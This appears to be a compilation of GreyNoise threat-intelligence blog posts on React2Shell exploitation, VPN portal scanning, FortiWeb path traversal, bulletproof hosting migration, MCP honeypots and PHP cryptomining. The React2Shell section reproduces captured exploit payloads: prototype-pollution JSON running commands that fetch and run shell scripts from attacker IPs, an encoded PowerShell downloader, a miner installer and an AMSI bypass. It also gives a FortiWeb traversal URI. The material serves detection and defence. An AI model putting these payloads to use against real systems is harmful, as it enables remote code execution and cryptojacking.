.png)
Due to the escalating situation, GreyNoise is sharing its weekly At The Edge intelligence brief — typically reserved for GreyNoise customers. In the brief you’ll find:
And more intelligence regarding the React2Shell vulnerability (CVE-2025-55182).
A total of 362 unique IP addresses (as of 2025‑12‑08) were observed attempting to exploit the React2Shell vulnerability.
Of these, 152 (≈ 42 %) contained active payload data that could be analyzed. The remaining 210 IPs either:
The attacks originated from a diverse set of geographic locations, spanning multiple countries and networks. This indicates that React2Shell has attracted attention from a wide range of threat actors, from automated botnets to more capable attackers.
Based on the payload analysis of 97 active attack samples, attackers primarily used the following techniques:
The vast majority of threat actor IPs allocated to exploiting this vulnerability were first seen by GreyNoise post July 2025.
We encourage defenders to leverage GreyNoise Block to instantly neutralize threat actor IPs attempting to exploit React2Shell. See below for more information.
GreyNoise customers — please check your inbox for an early edition of At the Edge, detailing all client signatures, source/destination analysis, and other IOCs.
GreyNoise is already seeing opportunistic, largely automated exploitation attempts consistent with the newly disclosed React Server Components (RSC) “Flight” protocol RCE—often referred to publicly as “React2Shell” and tracked as CVE-2025-55182. Reporting to date describes unauthenticated remote code execution impacting React and downstream ecosystems (including Next.js) and urges immediate patching.
Defenders can use GreyNoise Block to immediately block malicious IPs associated with this activity by using the following template:
Customers can also modify the template to specify source country, other IP classifications, etc. New users can get started with a 14-day free trial.
Enterprise customers have targeted blocklists available in the platform (specifying ASNs, JA4, destination country, etc), supporting full queries leveraging the entirety of GreyNoise’s parameters.
Our traffic shows a familiar modern pattern, with attackers using a mix of fresh and legacy infrastructure to orchestrate their campaigns. The HTTP client and TCP stack fingerprints are overwhelmingly automation-heavy, not organic browsing. There's also an early focus on just this vulnerability, but we've already detected a slow migration of this CVE being added to Mirai and other botnet exploitation kits.
The initial access attempts are using the publicly disclosed proof-of-concept code as a base, and stage-1 payloads performing proof-of-execution (PoE) probes (e.g., PowerShell arithmetic) to validate RCE cheaply and using coded PowerShell download-and-execute stagers (-enc + DownloadString + IEX).
Then, a stage-2 payload that uses reflection to set System.Management.Automation.AmsiUtils.amsiInitFailed = true (standard AMSI bypass), then iex executes the next stage.
Public reporting indicates a maximum-severity issue in React Server Components’ Flight protocol that can yield unauthenticated RCE in vulnerable deployments, with downstream impact across popular frameworks, including Next.js. Patches have been released, and multiple outlets are urging urgent upgrades.
This matters operationally because RSC is a high-value target since it sits in front of application logic that often runs with production permissions. Thanks to services such as BuiltWith/Wappalyzer, the exposed services are easy to find and exploit at scale. Early waves tend to be broad and shallow, featuring opportunistic scanning, validation payloads, and commodity post-exploitation stagers.
POST request:Attackers are first performing basic exploit proof-of-execution (PoE) validation using "cheap math" PowerShell commands:
powershell -c "40138*41979"
powershell -c "40320*43488"
This is a common exploitation workflow since deterministic output confirms command execution and output retrieval ability. It also leaves minimal endpoint artifacts (no file writes, no network), and makes detection rules a bit trickier due to low unique keyword visibility versus obvious primitives like IEX, DownloadString, or -enc.
After PoE, we observed encoded PowerShell stagers in standard form:
powershell -enc <base64>
Decoding one of these reveals a run-of-the-mill in-memory downloader:
IEX (New-Object System.Net.Webclient).DownloadString('http://23[.]235[.]188[.]3:652/qMqSb')
The retrieved stage-2 payload uses a lightweight byte-transform obfuscation (reverse-byte order and add a constant repeatedly), then uses reflection to set:
System.Management.Automation.AmsiUtils amsiInitFailed $true in an attempt to bypass any anti-malware components that may be on the system.
This is an important campaign component because it’s stable across many commodity toolchains and can be detected reliably via PowerShell logging, even when the obfuscation changes.
From extracted POST requests, the top user agents were:
Go-http-client/1.1 Assetnote/1.0.0 on Chrome 60aiohttp and python-requests, plus scattered “real browser” strings.The presence of an Assetnote/1.0.0 marker is consistent with Assetnote-tagged scanning traffic documented in the ecosystem and built into the open-sourced scanner tool.
This is what standard early exploitation waves usually look like. We see a fair amount of automation, a mix of researcher/scanner traffic, and a small tail of organic-looking browser strings (often spoofed).
Across the JA4T+JA4H dataset collected so far, the distribution was highly concentrated in a handful of ASNs attributed to the Netherlands, China, the United States, Hong Kong, and a small tail of other countries.
These are the top JA4T/JA4H pairs, to-date:
42340_2-4-8-1-3_1460_11 + po11nn060000_3865ae1cc1d9_... 64240_2-1-3-1-1-4_1400_8 + po10nn090000_75eeec6218a0_... 42340_2-4-8-1-3_1460_11 + po11nn10enus_38148d6b7d75_... 42340_2-4-8-1-3_1460_10 + po11nn090000_3343762cd6d7_... Source IP first/last-seen analysis shows a meaningful share of the observed exploitation IPs are newly observed in the recent window (nearly 50% being first seen in December 2025). This has become typical for modern opportunistic exploitation, with attackers leveraging the quick rotation of IPs in VPS and proxy pools.
Nothing in this chain is novel, so far. The PoE commands are commodity exploitation hygiene, and the use of -enc + DownloadString + IEX is a staple pattern. Also, AmsiUtils.amsiInitFailed reflection bypass is widely documented and reused.
However, “not novel” ≠ “not serious.” This is exactly the kind of high-throughput exploitation that turns into credential theft, cryptomining, ransomware staging, or access-broker resale.
powershell.exe / pwsh.exe combined with -enc / -EncodedCommand and DownloadString( or IEX.If you have Windows Event ID 4104 enabled alert on any script block containing any two of:
System.Management.Automation.AmsiUtils amsiInitFailed GetField NonPublic,Static SetValue If your detection platform supports it, aggregate detection on repeated powershell -c "<digits>*<digits>" across a short window, since it is a strong indicator of exploit validation.
Based on observed automation-heavy traffic (Go clients, scanner-tagged UAs, tight JA4 clustering) and rapid infrastructure build-up and churn, this looks like the first opportunistic wave, not a “hands-on-keyboard” intrusion set. Historically, this is when defenders can still win by ensuring patches are in place, putting high-quality endpoint detection in place, and using the provided network fingerprints to isolate potentially malicious inbound traffic requests.
— — —
Candidate exploitation source infrastructure is available via GreyNoise API.
Stage-1 / Stage-2 fetch:
PowerShell stager primitive:
IEX` (New-Object System.Net.Webclient).DownloadString('')Stage-2 defense evasion primitive (reflection AMSI flip):
System.Management.Automation.AmsiUtils amsiInitFailed .GetField(<field>,"NonPublic,Static").SetValue($null,$true) Exploit validation / “proof of execution” probes:
powershell -c "<5-digit>*<5-digit>" (many unique pairs; deterministic output)Unique payloads
[
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process[.]mainModule[.]require('child_process').execSync('curl 2f7ac6[.]ceye[.]io'); throw new Error('exploited');",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
},
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process[.]mainModule[.]require('child_process').execSync('ping -c 7 45[.]157[.]233[.]80',{'timeout':8000}).toString().trim();;throw Object[.]assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
},
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process[.]mainModule[.]require('child_process').execSync('ping 5axzi7[.]dnslog[.]cn",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
},
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process[.]mainModule[.]require('child_process').execSync('powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAyADMALgAyADMANQAuADEAOAA4AC4AMwA6ADYANQAyAC8AcQBNAHEAUwBiACcAKQA=');",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
},
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process[.]mainModule[.]require('child_process').execSync('wget http://162[.]215[.]170[.]26:3000/sex[.]sh && bash sex[.]sh');",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
},
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process[.]mainModule[.]require('child_process').execSync('wget http://46[.]36[.]37[.]85:12000/sex[.]sh && bash sex[.]sh');",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
},
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process[.]mainModule[.]require('child_process').execSync('wget hxxp[://]vps-zap812595-1[.]zap-srv[.]com:3000/sex[.]sh && bash sex[.]sh');",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
},
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process[.]mainModule[.]require('child_process').execSync('curl -s -L hxxps[://]raw[.]githubusercontent[.]com/C3Pool/xmrig_setup/master/setup_c3pool_miner[.]sh | bash -s 44VvVLU2Vmja6gTMbhNHAzc7heYTiT7VmQEXkjdaYo6K41WqH8qWw1CL8wKAAgz5xLYT3XL3pb9KCUZS7PPZbzUGCCpZ9Ee').toString().trim();;throw Object[.]assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
]
As a supplement to our analysis, please see Censy’s blog on the situation, providing insight into exposed instances and more. Also be sure to check out this blog from GreyNoise Labs - React2Shell Side Quest: Tracking Down Malicious MeshCentral Nodes.
.png)
On 2 December 2025, GreyNoise observed a concentrated spike of 7,000+ IPs attempting to log into Palo Alto Networks GlobalProtect portals. All activity originated from infrastructure operated by 3xK GmbH and targeted two Palo Alto profiles in GreyNoise’s Global Observation Grid (GOG).
.png)
While the spike — both IP- and session-based — was brief, its significance became clear only when compared with earlier activity.
The December traffic shares three identical client fingerprints with a larger wave GreyNoise observed between late September and mid-October.
That earlier activity originated from four ASNs not generally associated with malicious infrastructure:
Over several weeks, these ASNs generated over 9 million non-spoofable HTTP sessions, with the majority targeting GlobalProtect portals and related authentication surfaces.
.png)
The return of the same client fingerprints — now from entirely different hosting infrastructure — indicates tooling continuity across what appear to be separate events.
On 3 December, GreyNoise also recorded a surge in scanning against SonicWall SonicOS API endpoints.
This traffic carried the same three client fingerprints, linking it directly to:
The infrastructure changed. The vendors targeted were different. Yet, the client fingerprinting remained identical.
.png)
The combined telemetry shows a clear sequence:
GreyNoise Block customers can block all IPs triggering these GreyNoise tags via GreyNoise Block, using the following templates:
Customers can also modify the template to specify source country, other IP classifications, etc. New users can get started with a 14-day free trial.
Enterprise customers have targeted blocklists available in the platform (specifying ASNs, JA4, destination country, etc), supporting full queries leveraging the entirety of GreyNoise’s parameters.
In addition, defenders should:
Fingerprint-level telemetry exposes cross-infrastructure relationships that defenders might otherwise miss.
All GreyNoise customers will receive more detailed information in our next At The Edge intelligence brief, including JA4T fingerprints and more.
GreyNoise will continue monitoring the situation and provide updates as necessary.
— — —
Stone is Head of Content at GreyNoise Intelligence, where he leads strategic content programs that translate complex internet-scale threat activity into clear, actionable insights. Previously, he led partnered research initiatives with Google and the U.S. Department of Homeland Security, and was a member of the Council on Foreign Relations Young Professionals group. His background spans finance, technology, and engagement with the United Nations on global policy issues.
.png)
We built something new at GreyNoise Labs, and it started with a question we kept hearing: “How do I know if my home network has been compromised?”
It’s not a theoretical concern. Over the past year, residential proxy networks have exploded and have been turning home internet connections into exit points for other people’s traffic. Sometimes folks knowingly install software that does this in exchange for a few dollars. More often, malware sneaks onto devices, usually via nefarious apps or browser extensions, and quietly turns them into nodes in someone else’s infrastructure.
We’re also seeing the usual seasonal spike in compromised home routers, IoT, and other "edge" devices. These compromises often fly under the radar. Your internet works fine, your streaming doesn’t buffer, but somewhere in the background, your router is participating in vulnerability scans or brute-force attacks against servers around the world. You’re not the target—you’re the weapon.
So we built GreyNoise IP Check. Visit the site from any internet connection and within seconds you’ll know if that IP address has been caught scanning the internet or appears in our database of known business services. No signup required, no email collection—just a straightforward answer about what your IP address has been up to.
The tool gives you one of a few possible verdicts. The best outcome is clean—your IP hasn’t been observed scanning the internet and doesn’t belong to any known service infrastructure. Most residential connections fall into this category, which is exactly what you want.
If your IP shows up as malicious or suspicious, that’s your cue to investigate. Something on your network is behaving badly. It might be malware on a laptop, a compromised smart TV, or a router that’s been conscripted into a botnet. The tool will show you when the activity was first and last observed, what kinds of scanning behavior were detected, and point you toward next steps.
There’s also a middle category for IPs that appear in our Common Business Services dataset. If you’re on a VPN, corporate network, or cloud provider, that’s normal. The tool knows the difference between “this IP belongs to a data center” and “this IP is your grandmother’s cable modem doing port scans.”
For those who want more detail, the results page includes a 90-day activity timeline showing when scanning behavior occurred and what tags GreyNoise assigned to it. You can see whether your IP was probing for vulnerable web services or attempting SSH connections. It’ll even show if it was hunting for exposed databases.
Here’s where this gets practical beyond your own network. If you’re the family tech person—and let’s be honest, if you’re reading this, you probably are—this tool fits perfectly in your holiday troubleshooting toolkit.
When you’re home for the holidays or visiting relatives over winter break, take thirty seconds to pull up the IP check on their network. It’s less invasive than asking to look at their devices and gives you an instant read on whether their home network has a problem. If it comes back clean, great. If it doesn’t, you have a specific starting point for helping them secure things.
The conversation shifts from vague “I think you might have a virus” territory to concrete “your network is showing up in our sensor data as scanning for vulnerable routers, so let’s check your devices and update your router firmware.” People understand that much better—and you’re not just the relative who always thinks their computer is infected.
If you’re managing infrastructure or dealing with devices that connect to different networks regularly, there’s a programmatic option. You can query the service via curl to get JSON responses:
curl -s https://check.labs.greynoise.io/
This returns structured data about the IP making the request, including whether it appears in our scanning database, its classification if found, trust level for business services, and geographic metadata. You could incorporate this into MDM systems, VPN connection scripts, or network onboarding flows. You can use any programming language, just ensure there's a curl-esque user agent.
Imagine a laptop that checks its network reputation when connecting to a new WiFi. If it finds itself on a compromised or suspicious network, it could automatically force VPN usage, ensure the local firewall is active, or alert the user. For organizations with remote workers bouncing between coffee shops, airports, and client offices, knowing the reputation of each network adds an extra layer of confidence.
The API endpoint requires no authentication and has no rate limiting for reasonable use. We built it to be useful, not locked down behind enterprise pricing tiers.
The scale of residential IP abuse has changed dramatically. What used to be primarily compromised home routers has expanded into a full ecosystem of residential proxy services, IoT botnets, and supply chain compromises in consumer networking gear. Our sensors see millions of residential IPs participating in scanning activity every month—and most of those users have no idea it’s happening.
The challenge with residential IP compromise is that it’s invisible to the people affected. Unlike a loud ransomware attack, a compromised router doesn’t announce itself. The internet keeps working. Netflix still streams. Email still arrives. But your IP address is building a reputation, potentially ending up on blocklists or triggering security alerts when you try to access certain services.
GreyNoise sees this activity because we maintain a global sensor network specifically designed to observe internet background radiation—the scans, probes, and reconnaissance that constantly sweep across every public IP address. We’ve collected data on billions of IPs over the years, cataloging what they scan for, how they behave, and whether they’re real threats or just noise.
This tool takes that visibility and makes it accessible to anyone. You don’t need to be a security analyst or pay for threat intelligence. You just need to wonder whether your home network is okay.
Check your IP address. Check your parents’ network when you visit. Check the coffee shop WiFi if you’re curious. It takes just a few seconds and could save you from a hidden mess. And if it comes back clean, hey—one less thing to worry about.
Visit check.labs.greynoise.io to see what your IP has been up to.
.png)
GreyNoise has identified a significant escalation in malicious activity targeting Palo Alto Networks GlobalProtect portals. Beginning on 14 November 2025, activity rapidly intensified, culminating in a 40x surge within 24 hours, marking a new 90-day high.
GreyNoise has also identified strong connections between this spike and prior related campaigns. We assess with high confidence that these campaigns are at least partially driven by the same threat actor(s), supported by:
Defenders can use GreyNoise Block to immediately block malicious IPs associated with this activity. GreyNoise Block is a fast and easy solution that includes an out-of-box blocklist tracking malicious IPs targeting Palo Alto Networks systems. Search for ‘Palo Alto’ in the Template Search Box. You will need to add ‘classification:suspicious’ to block the IPs we are seeing associated with this scanning activity. You can also modify the template to specify source country, other IP classifications, etc. New users can get started with a 14-day free trial.
For GreyNoise customers who need a more targeted blocklist (specifying ASNs, JA4, destination country, etc), GreyNoise now supports full query-based blocklists leveraging the entirety of GreyNoise query parameters.
Since 11/14/2025, GreyNoise has observed 2.3 million sessions targeting the /global-protect/login.esp URI of Palo Alto PAN-OS and Palo Alto GlobalProtect.
The campaign demonstrates a strong reliance on AS200373 (3xK Tech GmbH), expressed through two distinct geolocation clusters:
The remaining traffic was primarily sourced from AS208885 (Noyobzoda Faridduni Saidilhom), forming a secondary but consistent contributor.
For hunting, two JA4t fingerprints encompass all related activity:
65495_2-4-8-1-3_65495_733280_2-4-8-1-3_65495_7
The campaign’s infrastructure remains anchored in AS200373, with German-sourced traffic forming the most substantial segment. The parallel presence of a Canadian geolocation cluster within the same ASN—alongside persistent traffic from AS208885—indicates a distributed but coordinated hosting footprint.
GreyNoise research has consistently documented a strong historical pattern:
Spikes in Fortinet VPN brute-force attempts are typically followed by Fortinet VPN vulnerability disclosures within six weeks.
First identified in July, this trend continues to offer meaningful historical context for interpreting the current escalation in Palo Alto–focused activity.
GreyNoise has begun seeing active exploitation of CVE‑2025‑64446, the critical path‑traversal flaw that lets an unauthenticated actor run administrative commands on Fortinet FortiWeb appliances. The vulnerability landed in CISA’s KEV catalog on November 13th, and within roughly 72 hours, our global honeypot fleet was met with crafted requests aimed at a range of FortiWeb versions (7.0–8.0). The story is as old as time: the patch notes went out, and a [coordinated] group of scanners has already started weaponising the flaw.
FortiWeb’s management API accepts a traversal string that can be abused to reach the internal cgi‑bin endpoint, for example:
/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi
When that endpoint is hit, the attacker gains the ability to execute privileged operations. The first exploit traffic hit our sensors on November 17, 2025, confirming a rapid weaponization cycle that matches the speed we typically see with high-impact edge-device vulnerabilities.
Our sensors observed eight distinct IPs probing at least six different JA4T (TCP) fingerprints and two JA4H (HTTP) fingerprints. Although the window sizes and MTUs vary, the ordering of TCP options (2‑4‑8‑1‑3) and the overall stack profile point to modern Linux‑derived clients rather than home routers or IoT devices. The TLS handshakes, however, were remarkably uniform: the dominant JA3 fingerprint is 9b72665518dedb3531426284fdec8237, a pattern we typically see from Python requests, libcurl‑derived stacks, or Firefox‑derived TLS libraries. In short: the same TLS implementation is being reused across multiple HTTP modules.
The infrastructure is spread across seven hosting providers—Flyservers, Clouvider, DigitalOcean, Kaopu Cloud, WorkTitans, InterHost, and HOSTKEY—with no residential, mobile, or commercial VPN presence. This distribution is classic for operators seeking resilience and deniability rather than a hobbyist “botnet‑of‑the‑week”.
User‑agent strings further betray the tooling. Some nodes cycle through hundreds of synthetically generated browser signatures, while others plainly identify themselves as python-requests/2.25.1 or node.js. A few even toss in Log4Shell‑style JNDI probes, indicating opportunistic hunting beyond just FortiWeb.
The behavior aligns with initial‑access brokers and ransomware affiliate group patterns: rapid adoption of a high‑value CVE, large‑scale scanning, multi‑CVE probing on the same hosts, and an infrastructure deliberately dispersed across unrelated providers. Three of the observed IPs have a history of scanning for a laundry list of other enterprise edge vulnerabilities (CrushFTP, Confluence OGNL, Sophos XG, ColdFusion, Ivanti Connect Secure, etc.). That indicates the possibility that this Fortinet weakness will be added to the same attacker pipelines.
So far, the traffic we see is limited to environment discovery, version validation, traversal attempts, and occasional multi‑port probes (443, 8443, 8080, 9443, 10443). We have not yet captured a successful post‑exploitation payload in our deception environments, but the attack surface is large enough that a “scan now, exploit later” approach is entirely plausible. Three source IPs — 193.182.144.250, 38.60.203.31, 46.17.103.97 — notably drew additional attention on our Fortinet Network Security Appliance sensors. According to Censys, 38.60.203.31 and 46.17.103.97 are classified as being located in bulletproof hosting (you’ll need to use the Censys’ new cencli tool to see that label, which does not appear in the Platform UI).
GreyNoise Block is a fast and easy solution that includes an out-of-box blocklist tracking malicious IPs targeting Fortinet systems. Search for ‘Fortinet’ in the Template Search Box. You can modify the template to specify source country, other IP classifications, CVE ID, CIDR block, etc. New users can get started with a 14-day free trial.
For customers who need a more targeted blocklist (specifying ASNs, JA4, destination country, etc), GreyNoise now supports full query-based blocklists leveraging the entirety of GreyNoise query parameters.
Fortinet’s fixes are available; any FortiWeb management interface exposed to the Internet should be updated without delay.
Look for any of the following: traversal strings (../, %3f), unauthenticated POSTs to /api/v2.0/cmdb/, hits on /cgi-bin/fwbcgi, sudden spikes in user‑agent diversity, or requests originating from the hosting providers listed above.
if the admin interface is public, assume it’s already been probed. Move it behind an allow‑list, VPN or bastion host, and keep it off the public Internet whenever possible.
If an exploitation attempt succeeded before patching, you’ll need that data to understand the breach.
GreyNoise will keep an eye on this campaign for a shift from reconnaissance to active post‑exploitation, for any movement onto new hosting providers, for tooling changes, and for the appearance of FortiWeb access listings on underground markets. The current signals suggest this is not a short‑lived flash of interest but a persistent inventory‑building operation targeting enterprise edge devices.
If you run FortiWeb, treat CVE‑2025‑64446 as an immediate operational risk. Patching and proper network segmentation are no longer optional—they are the line between staying off a threat actor’s target list and becoming the next compromised foothold in a larger access‑bundle.
Attackers move fast. Their infrastructure changes by the hour—IP addresses spin up, burn out, and shift constantly. Defenders, meanwhile, require controls that strike a balance without overblocking or disrupting legitimate traffic.
That’s why we’re excited to announce that starting today, customers can turn any GreyNoise query directly into a real-time blocklist for their firewall, SOAR, or other enforcement points.
Traditional static blocklists quickly age out, creating blind spots or false positives. GreyNoise blocklists are different. They’re:
With our query-based blocklists, you can automatically block the activity that matters to you—whether that’s opportunistic scanning, specific exploit campaigns, or known attacker infrastructure—without interrupting legitimate traffic.
GreyNoise Query Language (GNQL) gives customers a powerful way to explore and segment global internet noise. Now, that same query power drives automated blocking and enforcement.
Each query you create can become a live, continuously updated feed for perimeter defense. As GreyNoise observes new IPs that match your query criteria, they’re added instantly to your blocklist.
When we first launched GreyNoise Block as a standalone product, it provided a simple and effective way to create real-time dynamic blocklists. To optimize for simplicity and speed, Block users could build lists from a set of common metadata about each IP. Block also offers useful templates as starting points for building blocklists.
With the new platform-integrated query-based blocklists,
While the standalone Block product offered a fast on-ramp to real-time blocking, the platform-integrated query-based blocklists give you total flexibility and control on the nuance of your blocklist, directly inside the GreyNoise platform.
Query-Based Blocklists are available today to all GreyNoise platform customers.
If you already use the GreyNoise Visualizer, you can start creating your first blocklist immediately—no new integration or license required.
For a walkthrough, visit the GreyNoise documentation or reach out to your GreyNoise account team.
In May 2025, the European Union took aim at Stark Industries Solutions, a web hosting provider that had become a prime real estate for Russian state-sponsored cyber operations. Sanctions dropped. Assets frozen. Names on lists. The whole regulatory apparatus just doing its thing.
Stark Industries shrugged and kept hosting.
Here's what makes this story worth your time: Stark Industries didn't just survive EU sanctions—they anticipated them, and thrived through them. The Neculiti brothers got a heads-up roughly twelve days before the official announcement, courtesy of leaked EU documents hitting Moldovan media. That's not a lot of time to restructure a hosting empire, but it turns out to be plenty when you control the right infrastructure levers.
By the time sanctions landed on May 20th, Autonomous System AS44477 had already been transferred to a new RIPE organization, Russian infrastructure had migrated to Moscow-based UFO Hosting LLC, and the groundwork was laid for a complete rebrand to "THE.Hosting" under Dutch entity WorkTitans B.V. No frantic scrambling. No operational chaos. Just a methodical shuffle of autonomous systems, IP blocks, and corporate shells that rendered months of regulatory work largely moot.
Founded literally two weeks before Russia invaded Ukraine—subtle, that—Stark Industries quickly became infrastructure-of-choice for DDoS campaigns, disinformation operations, and threat actors like FIN7. They offered all the bulletproof hosting classics: crypto payments, servers in jurisdictions with flexible abuse policies, and a business model built around plausible deniability.
But here's the thing that matters for those of us tracking internet noise: while the legal entities changed and the branding got a fresh coat of paint, the underlying network infrastructure kept singing the same song. The autonomous systems, the IP space, the routing patterns—that's where the truth lives. Corporate paperwork may lie, but packets do not.
Let's see how sanctions evasion actually works when you control your own ASN, and what the network layer reveals.
Analysis of GreyNoise's Global Observation Grid data confirms a seamless migration of malicious infrastructure from AS44477 (PQ Hosting Plus S.R.L.) to AS209847 (WorkTitans B.V.) between August and November 2025. The behavioral signatures, geographic distribution, VPN services, and scanning patterns provide strong evidence this represents the Stark Industries rebranding operation.
The migration timeline:
The GreyNoise tags used across the ASN switch were virtually identical, however the migration seems to have enabled them to do more with less, since the daily tag distribution skews higher, overall, but they're using less IP infrastructure to accomplish the same goals.
Both ASN's share 24 VPN services in common, but 11 (ABVPN_VPN, ALT_VPN, AMNEZIA_VPN, FLY_VPN, MYSTERIUM_VPN, NURICHINA_VPN, QUARK_VPN, ROCKET_VPN, SUNSSH_VPN, VEEPN_VPN, XVPN_VPN) did not come along for the ride (yet), and 9 new ones (ALOHA_BROWSER_VPN, GIAMPING_VPN, LUMOS_VPN, PLEX_VPN, SSHMAX_VPN, SSHOCEAN_VPN, VPN3000_VPN, VPNJANTIT_VPN, ZOOG_VPN) joined in the frey.
Excluding that massive attempt to evade network detection responses via network packet maximum segment size (MSS) manipulation (indicated by the significant elevation in daily unique IP counts between mid-August and mid-September), the pre- and post-migration JA4T hashes also show overlapping source hardware and OS stack footprints. However, some are missing (due to, for example, the loss of the indicated VPN providers), and others are new (due to, again, for example, the gaining of the new VPN providers).
From every angle, our data clearly shows that this is, indeed, the Stark we all knew and loathed. And, thanks to the leak of the sanctions activity, they were able to move fast and can now continue to [attempt to] break things; and do so even more efficiently than before.
The Model Context Protocol (MCP) lets AI systems securely connect to external data and tools — a key building block for emerging AI-driven operations. It’s also a new piece of internet-facing infrastructure, which means defenders are asking the same question they ask of anything exposed online: is anyone attacking it yet?
To find out, GreyNoise deployed a series of MCP honeypots to observe what actually happens when AI middleware meets the open internet.
Each honeypot mimicked a plausible MCP deployment, instrumented for full packet-level visibility. We built three configurations:
All were isolated from production systems.
Every instance was discovered within days — proof that anything listening on the internet will be found quickly. After that, activity leveled off. We saw the usual: HTTP probes, SSH touches, and other one-shot scans indistinguishable from the constant hum that hits everything else online.
Across the deployment, no MCP-specific payload or exploitation attempts appeared.
GreyNoise’s broader MCP Scanner tag, which tracks reconnaissance against MCP endpoints, shows that threat actors are indeed discovering exposed MCP servers — and increasingly so.
In October 2025, independent researchers demonstrated a prompt-hijacking flaw in a custom MCP build that used a deprecated protocol handler. It was a contained proof-of-concept, not an attack in the wild — and it supports the same conclusion: present-day MCP exposure risk lies in implementation errors, not in deliberate targeting of MCPs as a class.
Sometimes the absence of activity is the signal. Knowing what “normal” internet noise looks like gives defenders a baseline to detect the first real deviation — the point where interest becomes intent. Today, MCP traffic sits squarely within that background noise. When that changes, we’ll see it.
While defenders experiment with AI-enabled workflows, advanced adversaries are doing the same. Some threat actors are reportedly using MCP-style architectures to process stolen telemetry and correlate infrastructure, perhaps faster than human analysts could.
That marks a growing asymmetry: machine-speed offense versus human-speed defense. Bridging that gap requires AI SOCs — operations centers where AI agents assist analysts using verified, transparent data rather than opaque automation.
MCP offers one path to that balance: a structured, auditable way for both humans and AI systems to access and reason over trustworthy intelligence. Defensive AI only works when its data can be traced and its reasoning explained, and findings evidenced.
GreyNoise’s MCP honeypot experiment found no evidence of targeted attacks on AI middleware. MCPs are being noticed, but not pursued — yet.
This quiet defines the current baseline for AI middleware exposure. For defenders building toward AI-assisted operations, that baseline is the starting point.
GreyNoise recently launched its own MCP server, intentionally connected only to our API to ensure sound security. Human analysts and AI agents alike can use our MCP server to explore GreyNoise’s telemetry, automate jobs, and more.
Pair GreyNoise’s MCP server with our new offering, GreyNoise Block, to automate dynamic IP blocking based on custom deviations from baseline threat activity.
From August through October 2025, we observed (GreyNoise Visualizer) a clear ramp-up in exploitation attempts against PHP and PHP-based frameworks as actors push to deploy cryptominers. The query below captures a range of attempts (ThinkPHP, PHP CGI, PHPUnit, the recent PHP CVE-2024-4577, etc.), and the telemetry shows seven distinct attack patterns that move in parallel: steady in August–September, then spiking into October and November.
The loudest campaigns exploit ThinkPHP Framework LFI (CVE-2022-47945), PHP CGI (CVE-2012-1823), and PHP CVE-2024-4577, all of which show steep growth. Older chains (ThinkPHP Code Execution CVE-2019-9082, PHPUnit RCE) still produce meaningful volume—roughly 50–150 attempts per day—and the network graph implies these campaigns aren’t independent: they share infrastructure and tools, pointing to coordination or communal tooling.
Cloud providers constitute the majority of attacking IPs. Top offenders by IP count include Cloudflare (1,000 IPs), DigitalOcean (688), Google (536), and Contabo (512). The top 21 organizations account for about one-third of all attacking IPs—a mix of compromised customer VMs, misconfigured services, and rented infrastructure used for mining at scale.
Geographically, the attacks are global: German hosters (Contabo, Hetzner), Taiwanese carriers, and Chinese cloud platforms (Beijing Volcano Engine, Huawei, Alibaba) alongside large North American providers. Attackers are simply using whatever compute they can either rent or compromise.
Timing matters. With Bitcoin trading above $110,000 and the crypto market cap over $3.71 trillion, the math for miners is attractive. November has historically been a strong month for Bitcoin—the dataset going back to 2013 shows outsized gains in November (some years dramatically so). If Bitcoin rises from $70k to $110k, identical mining power suddenly produces ~57% more revenue.
Market projections referenced here are bullish—some analysts have mid-month price targets in the $120k–$125k range, and a few institutions have higher year-end targets. Monetary policy has also loosened recently: a 25-basis-point Fed cut in early November, the prospect of another cut in December, and an announced end to quantitative tightening on December 1 all increase liquidity that can flow into risk assets. Those conditions make mining more profitable now than a few months ago.
For attackers, that’s a simple incentive: higher price = higher payoff for the same stolen CPU cycles. They’re trying to scale into the window of maximum short-term profitability.
Cryptomining is attractive because its economics favor stealth and scale. Unlike ransomware, which requires victims and payment infrastructure, mining converts compute to coin with minimal friction. There are no negotiations, no human-in-the-loop—just silent revenue flow.
Cloud cryptojacking activity rose roughly 20% in 2025, showing that mining is now a commodity crime. The playbook is straightforward: scan, compromise, deploy a miner (binary, Docker image, or script), and funnel rewards to mining pools controlled by the attackers. Victims pick up the electricity and infrastructure cost while attackers collect the proceeds.
